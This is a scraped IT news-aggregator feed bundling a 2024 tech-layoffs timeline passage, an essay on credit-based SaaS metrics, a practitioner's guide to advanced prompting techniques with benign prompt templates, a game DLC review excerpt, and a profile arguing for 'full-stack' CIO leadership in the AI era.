<p class="wp-block-paragraph">OpenText said it will lay off 1,200 staff, or about 1.7% of its workforce, in a bid to save around $100 million annually. It plans to hire new sales and engineering staff in other areas in 2025, it said.</p>



<h3 class="wp-block-heading">June 4, 2024: <a href="https://www.networkworld.com/article/2138075/microsoft-lays-off-staffers-from-its-azure-division.html">Microsoft lays off staff in Azure division</a></h3>



<p class="wp-block-paragraph">Microsoft laid off staff in several teams supporting its cloud services, including Azure for Operations and Mission Engineering. The company didn’t say exactly how many staff were leaving.</p>



<h3 class="wp-block-heading">April 4, 2024: <a href="https://www.cio.com/article/2081437/amazon-downsizes-aws-in-a-fresh-cost-cutting-round.html">Amazon downsizes AWS</a> in a fresh cost-cutting round</h3>



<p class="wp-block-paragraph">Amazon announced hundreds of layoffs in the sales and marketing teams of its AWS cloud services division — and also in the technology development teams for its physical retail stores, as it stepped back from efforts to generalize the “<a href="https://www.cio.com/article/2079910/amazon-drops-just-walk-out-technology-at-its-us-retail-locations.html">Just Walk Out</a>” technology built for its Amazon Fresh grocery stores. </p>



<h3 class="wp-block-heading">April 1, 2024: <a href="https://investors.delltechnologies.com/static-files/d6e82f58-d417-422f-b2f3-4d08d498abd4" target="_blank" rel="noreferrer noopener">Dell acknowledges 13,000 job cuts</a></h3>



<p class="wp-block-paragraph">Dell Technologies’ <a href="https://investors.delltechnologies.com/static-files/d6e82f58-d417-422f-b2f3-4d08d498abd4" target="_blank" rel="noreferrer noopener">latest 10K filing with the US Securities and Exchange Commission</a> disclosed that the company had laid off 13,000 employees over the course of the 2023 fiscal year; it characterized the layoffs and other reorganizational moves as cost-cutting measures. “These actions resulted in a reduction in our overall headcount,” the company said. A comparison to the previous year’s 10K filing, performed by The Register, found that Dell employed 133,000 people at that point, compared to 120,000 as of February 2024. Dell announced layoffs of 6,650 staffers on Feb. 6, but it is unclear whether those cuts were reflected in the numbers from this year’s 10K statement.</p>



<p class="wp-block-paragraph"><em><a href="https://www.computerworld.com/article/3816662/tech-layoffs-in-2024-a-timeline.html">See news of earlier layoffs.</a></em></p>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[OpenAI behind Hugging Face hack, TrickBot tunnels through DNS, Acrobat extension opens WhatsApp]]></title>
<description><![CDATA[OpenAI behind Hugging Face hack TrickBot tunnels through DNS Acrobat extension opens WhatsApp Get the show notes here: Huge thanks to our sponsor, QuilrAI AI agents don’t ask permission. They act — moving data, triggering workflows, changing systems. QuilrAI is…
Read more →
The post OpenAI behind...]]></description>
<link>https://tsecurity.de/de/3688989/it-security-nachrichten/openai-behind-hugging-face-hack-trickbot-tunnels-through-dns-acrobat-extension-opens-whatsapp/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688989/it-security-nachrichten/openai-behind-hugging-face-hack-trickbot-tunnels-through-dns-acrobat-extension-opens-whatsapp/</guid>
<pubDate>Thu, 23 Jul 2026 14:15:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>OpenAI behind Hugging Face hack TrickBot tunnels through DNS Acrobat extension opens WhatsApp Get the show notes here: Huge thanks to our sponsor, QuilrAI AI agents don’t ask permission. They act — moving data, triggering workflows, changing systems. QuilrAI is…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/openai-behind-hugging-face-hack-trickbot-tunnels-through-dns-acrobat-extension-opens-whatsapp/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/openai-behind-hugging-face-hack-trickbot-tunnels-through-dns-acrobat-extension-opens-whatsapp/">OpenAI behind Hugging Face hack, TrickBot tunnels through DNS, Acrobat extension opens WhatsApp</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[The new value architecture of the AI-native SaaS era]]></title>
<description><![CDATA[The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.



In brief:




AI is transforming software as a service (SaaS), and the old ways of keeping score no longer apply.



Smart companies are evolving new metrics that provide deep...]]></description>
<link>https://tsecurity.de/de/3688966/it-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/</link>
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<pubDate>Thu, 23 Jul 2026 14:05:04 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.</p>



<p class="wp-block-paragraph">In brief:</p>



<ul class="wp-block-list">
<li><a href="https://www.cio.com/article/4146669/is-ai-the-end-of-saas-as-we-know-it.html">AI is transforming software as a service (SaaS)</a>, and the old ways of keeping score no longer apply.</li>



<li>Smart companies are evolving new metrics that provide deeper insight into how AI-native software is performing in a new marketplace.</li>



<li>These changes impact everything from pricing to valuations.</li>
</ul>



<p class="wp-block-paragraph">The transformation of the software-as-a-service (SaaS) industry toward AI-native operating companies is rapidly changing the unit of value across the industry.</p>



<p class="wp-block-paragraph">The traditional metric of seats — which measured access — is rapidly giving way to credits designed to measure work performed. This evolution is upending the industry in multiple ways, impacting everything from pricing to enterprise valuations.</p>



<p class="wp-block-paragraph">While many companies still cling to seat-based metrics to measure growth, efficiency and durability, the future is likely to be one in which companies utilize a <a href="https://www.cio.com/article/4184688/it-hurtles-toward-the-great-enterprise-pricing-reset.html">credit-centric metrics framework</a>, with seats and outcomes as the bookends of a spectrum.</p>



<h2 class="wp-block-heading">Why do software companies need new metrics?</h2>



<p class="wp-block-paragraph">Why the rethink, and why now? There are five major forces that are driving this shift:</p>



<ol start="1" class="wp-block-list">
<li><a href="https://www.idc.com/resource-center/blog/is-saas-dead-rethinking-the-future-of-software-in-the-age-of-ai/"><strong>The unit of value is changing</strong></a><strong>.</strong> Seats measured who could access software, and credits measure what the software actually does. But in an AI-native world, agents don’t have seats; they have workloads. Over the past 18 months, every major SaaS platform has moved to some forms of credit or consumption unit.</li>



<li><strong>The cost of goods sold (COGS) is exploding.</strong> AI inference adds real per-unit costs that scale with usage. In an AI-native world, software companies can’t scale to infinite users at near‑zero marginal cost as before.</li>



<li><strong>Buying is moving up the org chart.</strong> AI-native applications shift purchasing to higher-level operators — such as line-of-business leaders or chief operating officers — which expands the market from software budgets to labor budgets. And because AI agents replace services as well as software, the total market opportunity is 3x to 10x larger than traditional SaaS.</li>



<li><strong>Time to value (TTV) is collapsing.</strong> With AI-native tools, customers start seeing meaningful results in weeks rather than quarters. Onboarding and setup are fast, workflows are pre-built, and there’s no need for extensive customer success or professional services — dramatically reducing implementation time and costs.</li>



<li><strong>Retention is bifurcating.</strong> AI forces clarity in a way that traditional SaaS couldn’t. Products that can provide value become even “stickier” and retain customers. Those that don’t churn faster. In an AI-native marketplace, the middle disappears.</li>
</ol>



<h2 class="wp-block-heading">How this shift is impacting pricing</h2>



<p class="wp-block-paragraph"><a href="https://www.ey.com/en_us/insights/strategy/grow-with-trusted-software-portfolio-management">Given how AI-native software is transforming the market</a>, the shift to more variable pricing options is inevitable.</p>



<p class="wp-block-paragraph">Seats won’t go away completely. Subscription pricing based on the number of users is stable and predictable and will continue to work for some customers. Tokens — the use of pass-through pricing for underlying compute — will fit those customers where the AI feature is commoditized or the buyer wants transparency into costs.</p>



<p class="wp-block-paragraph">Credits will likely become the dominant architecture because they provide a simple metric for both customers and providers. The vendor sets the conversation ratio between credits and underlying compute, shielding the customer from inference cost details. Credits are easy to understand and can be packaged into annual contracts for multiple features and products.</p>



<p class="wp-block-paragraph">Finally, the industry will likely see <a href="https://www.gartner.com/en/newsroom/press-releases/2026-07-01-gartner-says-us-dollars-234-billion-in-enterprise-application-software-spend-is-at-risk-from-agentic-artificial-intelligence">some move toward outcome-based pricing</a> for results such as resolved tickets, recovered revenue or qualified leads. This strategy will mostly be limited to verticals where it is easy to prove AI impacted the result.</p>



<p class="wp-block-paragraph">Where a software vendor sits on this spectrum is a signal of differentiation and pricing power. Credits are where most defensible AI-native businesses are landing because they balance customer predictability with vendor margin control.</p>



<h2 class="wp-block-heading">How AI upends classic SaaS metrics</h2>



<p class="wp-block-paragraph">When SaaS was in its infancy, companies settled on key metrics designed to answer a small set of core questions. Are we growing? Are customers using the product? Are we retaining and expanding accounts?</p>



<p class="wp-block-paragraph">But as AI upends software itself, it is also requiring companies to adopt new metrics to track success. These new metrics fall into three primary buckets, rebuilt around the pricing spectrum described earlier and the trend toward credits as the primary frame:</p>



<h3 class="wp-block-heading">Revenue composition</h3>



<ul class="wp-block-list">
<li>Committed credit annual recurring revenue (ARR) vs. burndown ARR: Measuring the credits sold on annual commitment vs. those consumed and replenished. This is the single most important split for valuation. Committed credits behave like subscription and burndown behaves like usage.</li>



<li>Credit utilization rate: The percentage of purchased credits consumed per period. This is a leading indicator of renewal sizing.</li>



<li>Credit burn velocity: How fast is a customer consuming their credits, and is that consumption increasing or decreasing quarter over quarter? This metric predicts expansion or contraction before it shows up in ARR.</li>



<li>Effective price per credit: The real revenue per credit after discounts, overage and rollover, which can detect revenue leakage and help companies set smarter guide rails.</li>
</ul>



<h3 class="wp-block-heading">Margin reality</h3>



<ul class="wp-block-list">
<li>Credit margin: The gross profit the company earns per credit after subtracting inference costs. This is the core economic unit for AI-native, usage-based businesses — the replacement for gross margin per seat used in SaaS.</li>



<li>Inference-adjusted gross margin: By carving out AI inference costs separately in the P&amp;L statement, you can see true AI margins, avoid hiding deterioration inside blended SaaS margins, and clearly distinguish AI economics from legacy SaaS economics.</li>



<li>Compute leverage ratio: This metric measures how efficiently the business converts compute spend into revenue. It shows whether your AI margins are improving as you scale.</li>



<li>AI-adjusted “Rule of 40”: This updated metric recalibrates the traditional growth and profitability benchmark to account for AI’s lower gross margins and variable inference costs, giving a more accurate picture of business health for AI-native companies.</li>
</ul>



<h3 class="wp-block-heading">Behavioral and value signals</h3>



<ul class="wp-block-list">
<li>Time-to-first outcome: Replaces traditional onboarding metrics. Tracks how fast a customer reaches their first measurable result.</li>



<li>Adoption: AI-native adoption is measured by workflow penetration and active agent density, not seat count. As AI replaces human-driven usage, the unit of adoption shifts from people to automated workflows and agents.</li>



<li>Net credit retention (NCR): Credit-volume retention across the customer base, tracked separately from net recurring revenue to avoid price-change impact.</li>
</ul>



<p class="wp-block-paragraph">Along with these new metrics, the industry’s transformation is prompting companies to retire or recalibrate old SaaS measures, including per-seat ARR as a primary key performance indicator (KPI), traditional magic number calibrated to subscription dynamics, unadjusted Rule of 40, customer success metrics tied to human touchpoints, and blended gross margin without AI COGS carve-outs.</p>



<h2 class="wp-block-heading">What does this mean for enterprise value calculations?</h2>



<p class="wp-block-paragraph">As the internal metrics of success change, so do the ways the investment community measures growth and long-term viability.</p>



<p class="wp-block-paragraph">Increasingly, a company’s valuation multiple depends on whether its revenue behaves like committed subscription ARR or volatile usage ARR, and the commit‑to‑burndown ratio is the metric investors use to decide where the company fits.</p>



<p class="wp-block-paragraph">For example, a business with 80% committed credit ARR could trade closer to subscription comps and one with 80% burndown could trade closer to usage comps even though both have the same types of customers. Being able to proactively explain the commit‑to‑burndown mix can help companies avoid undervaluation.</p>



<p class="wp-block-paragraph">In addition, utilization is expected to replace net promoter scores and seat usage as the primary predictor of churn or expansion. Low utilization guarantees downsizing at renewal, so companies must track utilization cohorts the same way SaaS tracks logo retention cohorts today.</p>



<p class="wp-block-paragraph">We’re also seeing an inversion of the operating model, with R&amp;D and COGS moving up the P&amp;L and sales and marketing (S&amp;M) and customer success (CS) moving down or sideways. The net operating leverage profile is structurally different from classical SaaS, and the cost-to-scale curve looks different too.</p>



<p class="wp-block-paragraph">Finally, credit margin engineering is a hidden value-creation lever. The gap between price per credit and cost per credit is set by the software vendor and can be optimized. Most operators have barely started managing this rigorously, and the ones who do will pull away on margin.</p>



<h2 class="wp-block-heading">What this means for leaders, boards and investors</h2>



<p class="wp-block-paragraph">The shift from classic SaaS metrics to new AI‑native measures isn’t cosmetic. It represents the seismic change the industry is experiencing as AI matures and transforms products and organizations.</p>



<p class="wp-block-paragraph">While these metrics — and perhaps others yet to be determined — may evolve over time, there is no doubt they are already changing how AI companies allocate capital, price products, incent sales teams, evaluate performance and communicate with investors.</p>



<p class="wp-block-paragraph">It’s important to remember that SaaS metrics were practical tools for a specific era of software. As that era draws to a close, winning companies will choose new metrics that shape behavior and drive smart decision-making.</p>



<p class="wp-block-paragraph"><em>The views reflected in this article are the views of the author and do not necessarily reflect the views of Ernst &amp; Young LLP or other members of the global EY organization.</em></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Panzer Corps 2: Elite - All American DLC – Yay or Nay (PC)]]></title>
<description><![CDATA[Airborne troops are all about surprise and speed. They are also uniquely vulnerable in their transport planes and gliders. Add the fact that they need a turn on the ground before they get to actually act, and it becomes clear that executing an airborne assault is a complex and risky job.

World W...]]></description>
<link>https://tsecurity.de/de/3688954/it-security-nachrichten/panzer-corps-2-elite-all-american-dlc-yay-or-nay-pc/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688954/it-security-nachrichten/panzer-corps-2-elite-all-american-dlc-yay-or-nay-pc/</guid>
<pubDate>Thu, 23 Jul 2026 13:59:25 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Airborne troops are all about surprise and speed. They are also uniquely vulnerable in their transport planes and gliders. Add the fact that they need a turn on the ground before they get to actually act, and it becomes clear that executing an airborne assault is a complex and risky job.

World War II commanders learned this the hard way, and I only marginally avoided having to do the same. Pushing for a bonus objective is a good idea when you have a decent chance of getting it. But, trying to improve my abilities for future missions, I spread my force too thin. Now I have an under-strength force moving toward Niscemi, and I need to scramble reinforcements to deal with a Tiger.

The 82nd Airborne has five turns to destroy the tank. Thankfully, it lacks any infantry support. Unfortunately, my own armor is limited. So, heavy weapons United States infantry, and Wolverines will have to destroy it, which means I will take losses. Moving faster to secure victory points ear...]]></content:encoded>
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<title><![CDATA[Stop asking AI nicely: Here’s how to get work-ready results every time]]></title>
<description><![CDATA[Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation fo...]]></description>
<link>https://tsecurity.de/de/3688796/it-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688796/it-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/</guid>
<pubDate>Thu, 23 Jul 2026 13:07:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation for reliable, measurable outcomes. I want to share the techniques that consistently delivered the biggest gains in my projects, complete with real before-and-after examples, copy-paste templates, lessons from failures and guidance on when to evolve beyond prompting to agentic systems.</p>



<h2 class="wp-block-heading">Why advanced prompting still matters in enterprise settings</h2>



<p class="wp-block-paragraph">Sophisticated prompting remains essential for control, reliability and compliance. If you “ask nicely” and hope for the best, you need deterministic behavior, auditable reasoning and minimal risk of hallucination. Here’s what worked for me.</p>



<h3 class="wp-block-heading">1. Chain-of-Thought (CoT) and its variants: Unlocking step-by-step reasoning</h3>



<p class="wp-block-paragraph"><strong>The problem:</strong> Models would jump to conclusions on complex analysis tasks, especially involving data interpretation or multi-step logic.</p>



<p class="wp-block-paragraph"><strong>What I did:</strong> I started explicitly instructing the model to “think step by step” and show its reasoning.</p>



<p class="wp-block-paragraph"><strong>Before (basic prompt): </strong>“Analyze last quarter’s sales data and recommend three actions.”</p>



<p class="wp-block-paragraph"><strong>After (CoT prompt):</strong></p>



<p class="wp-block-paragraph">“You’re a senior business analyst. Analyze the following sales data step by step: [data]. First, identify the key trends. Second, calculate the rates and anomalies. Third, link findings to business context. Finally, recommend the three prioritized actions with expected impact. Explain your reasoning at each step.”  </p>



<p class="wp-block-paragraph"><strong>Results:</strong> Accuracy and depth improved dramatically.</p>



<p class="wp-block-paragraph"><strong>Variants that worked well:</strong> Self-consistency. I ran the same CoT prompt multiple times and took the majority consensus. This reduced variability significantly.</p>



<p class="wp-block-paragraph"><strong>Template you can use:</strong></p>



<pre class="wp-block-code"><code>You are [expert role]. Solve this problem by thinking step by step.

[Task or question]

For each step:

1. State your observation or calculation.

2. Explain the implication.

3. Proceed only when confident.

Final answer in this format: [structured output]</code></pre>



<h3 class="wp-block-heading">2. Tree-of-Thoughts (ToT): Exploring multiple reasoning paths</h3>



<p class="wp-block-paragraph">For truly complex decisions such as resource allocation or risk assessment, linear CoT isn’t enough. Tree-of-Thoughts lets the model generate and evaluate multiple branches.</p>



<p class="wp-block-paragraph"><strong>Example:</strong> I was helping a client evaluate three potential vendor platforms for an AI deployment. A standard prompt gave a superficial comparison. With ToT</p>



<p class="wp-block-paragraph"><strong>Prompt Snippet:</strong></p>



<pre class="wp-block-code"><code>Explore three different reasoning paths for selecting the best vendor platform:

Path 1: Focus on cost and scalability.

Path 2: Focus on security, compliance and integration.

Path 3: Focus on innovation and long-term roadmap.

For each path, evaluate pros/cons against our requirements [list].

Then, compare the paths and recommend the strongest overall option with justification.</code></pre>



<p class="wp-block-paragraph"><strong>Outcome:</strong> The model surfaced nuanced trade-offs (e.g., one vendor had superior security, but higher integration cost).</p>



<p class="wp-block-paragraph"><strong>When to use:</strong> Strategic planning, troubleshooting or scenarios with high uncertainty and multiple viable approaches.</p>



<h3 class="wp-block-heading">3. ReAct (Reason+ Act) and prompt chaining: Moving toward agentic behavior</h3>



<p class="wp-block-paragraph">One of the biggest leaps I have noticed comes from combining reasoning with tool use and chaining prompts.</p>



<p class="wp-block-paragraph"><strong>ReAct example</strong>: (used in data analytics workflow)</p>



<pre class="wp-block-code"><code>You are an AI analyst with access to tools. For the query below:

1. Reason about what information you need.

2. Choose the appropriate tool or action.

3. Observe the result.

4. Repeat until you can answer confidently.

Query: [user request]</code></pre>



<p class="wp-block-paragraph">In practice, I chained this with retrieval tools. One automated quarterly compliance reporting; the system reasoned about required data, pulled relevant records, validated them, and generated the reports.</p>



<h3 class="wp-block-heading">4. Meta-prompting and self-reflection: Letting the model improve itself</h3>



<p class="wp-block-paragraph">Use the model to refine its own prompt. This is a huge time-saver.</p>



<pre class="wp-block-code"><code>You are an expert prompt engineer. Improve the following prompt for clarity, structure and effectiveness with [target model]. Make it more precise while preserving intent.

Original prompt: [paste]

Provide the improved version and explain your changes.</code></pre>



<p class="wp-block-paragraph">Self-reflection loops (asking the model to critique its own output and revise) are a game-changer for content generation and code-review tasks.</p>



<h3 class="wp-block-heading">5. Multimodal and structured output techniques</h3>



<p class="wp-block-paragraph">With vision-enabled models, I started combining text with images (e.g., uploading architecture diagrams or dashboards).</p>



<p class="wp-block-paragraph"><strong>Tip from experience:</strong> Be extremely specific in describing what the models should focus on.</p>



<h4 class="wp-block-heading">Best practices I learned the hard way</h4>



<ul class="wp-block-list">
<li><strong>Start simple, then layer complexity</strong>: Over-engineered prompts from Day One usually backfire.</li>



<li><strong>Model specific tuning:</strong> Some models respond better to XML delimiters; others to explicit reasoning.</li>



<li><strong>Evaluation and versioning:</strong> Treat prompts like code if you track versions and run automated evals.</li>



<li><strong>Security guardrails:</strong> Always include instructions against prompt injections and respect data boundaries.</li>



<li><strong>When to stop prompting</strong>: For repetitive, high-stakes workflows, move to full agents or an orchestration framework.</li>
</ul>



<h2 class="wp-block-heading">Final takeaways for technical leaders</h2>



<p class="wp-block-paragraph">Advanced prompt engineering has now become a core competency for anyone responsible for enterprise AI outcomes. Start by picking one technique and apply it rigorously to a real business problem. Document before/ after and you will notice why it’s worth mastering.</p>



<p class="wp-block-paragraph">The field continues evolving towards more automated and agentic systems, but the ability to precisely direct AI reasoning remains foundational.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Was ist Conversion-Optimierung?]]></title>
<description><![CDATA[Conversion-Optimierung hilft dabei, aus bestehendem Traffic mehr Anfragen, Registrierungen oder Verkäufe zu erzielen. Entscheidend sind dabei nicht nur A/B-Tests, CTAs und Ladezeiten, sondern auch mobile Nutzerführung, personalisierte Inhalte sowie Live- und AI-Chat im richtigen Moment. Wer Reibu...]]></description>
<link>https://tsecurity.de/de/3688750/server/was-ist-conversion-optimierung/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688750/server/was-ist-conversion-optimierung/</guid>
<pubDate>Thu, 23 Jul 2026 12:47:59 +0200</pubDate>
<category>🐧 Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img src="https://www.ionos.de/digitalguide/fileadmin/DigitalGuide/Teaser/conversion-optimierung-neu-t.jpg" width="1200" height="630" alt=""><br>Conversion-Optimierung hilft dabei, aus bestehendem Traffic mehr Anfragen, Registrierungen oder Verkäufe zu erzielen. Entscheidend sind dabei nicht nur A/B-Tests, CTAs und Ladezeiten, sondern auch mobile Nutzerführung, personalisierte Inhalte sowie Live- und AI-Chat im richtigen Moment. Wer Reibungspunkte im Conversion-Pfad beseitigt, verbessert die Nutzererfahrung und steigert messbar den Erfolg seines Webprojekts.]]></content:encoded>
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<title><![CDATA[AI success requires a full-stack CIO]]></title>
<description><![CDATA[Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?



It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tool...]]></description>
<link>https://tsecurity.de/de/3688546/it-nachrichten/ai-success-requires-a-full-stack-cio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688546/it-nachrichten/ai-success-requires-a-full-stack-cio/</guid>
<pubDate>Thu, 23 Jul 2026 11:43:10 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?</p>



<p class="wp-block-paragraph">It’s an understandable concern. <a href="https://www.cio.com/article/4171959/ceos-top-priorities-for-it-leaders-today-2.html">Boards and CEOs are asking about AI</a>. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.</p>



<p class="wp-block-paragraph">After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.</p>



<p class="wp-block-paragraph">Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.</p>



<p class="wp-block-paragraph">I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, <a href="https://www.cio.com/article/272180/relationship-building-networking-how-to-wow-your-board-of-directors.html">influence a board</a>, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.</p>



<p class="wp-block-paragraph">Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.</p>



<p class="wp-block-paragraph">While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.</p>



<p class="wp-block-paragraph">That versatility gives Talasaz a unique lens on how CIOs <a href="https://www.cio.com/article/4178006/state-of-the-cio-2026-cios-set-the-course-for-ai-roi.html">can deliver value with AI</a>.</p>



<p class="wp-block-paragraph">Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.</p>



<h2 class="wp-block-heading">The full-stack CIO: Leading with clarity</h2>



<p class="wp-block-paragraph">A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.</p>



<p class="wp-block-paragraph">The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.</p>



<p class="wp-block-paragraph">And those who execute best lead with clarity, Talasaz says.</p>



<p class="wp-block-paragraph">“Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”</p>



<p class="wp-block-paragraph">One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.</p>



<p class="wp-block-paragraph">As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.</p>



<p class="wp-block-paragraph">And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.</p>



<p class="wp-block-paragraph">“When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”</p>



<p class="wp-block-paragraph">At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.</p>



<h2 class="wp-block-heading">Reducing organizational friction</h2>



<p class="wp-block-paragraph">Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”</p>



<p class="wp-block-paragraph">Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?</p>



<p class="wp-block-paragraph">Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.</p>



<p class="wp-block-paragraph">AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.</p>



<h1 class="wp-block-heading">Operating model as strategy enabler</h1>



<p class="wp-block-paragraph">AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.</p>



<p class="wp-block-paragraph">Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.</p>



<p class="wp-block-paragraph">“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.</p>



<p class="wp-block-paragraph">The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.</p>



<p class="wp-block-paragraph">This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.</p>



<p class="wp-block-paragraph">Talasaz points out that technology leaders tend to speak in terms of <em>transformation</em>. He suggests CIOs consider a different word: <em>reinvention.</em></p>



<p class="wp-block-paragraph">As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.</p>



<p class="wp-block-paragraph">Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.</p>



<h2 class="wp-block-heading">Closing the gap between strategy and execution</h2>



<p class="wp-block-paragraph">Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”</p>



<p class="wp-block-paragraph">As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”</p>



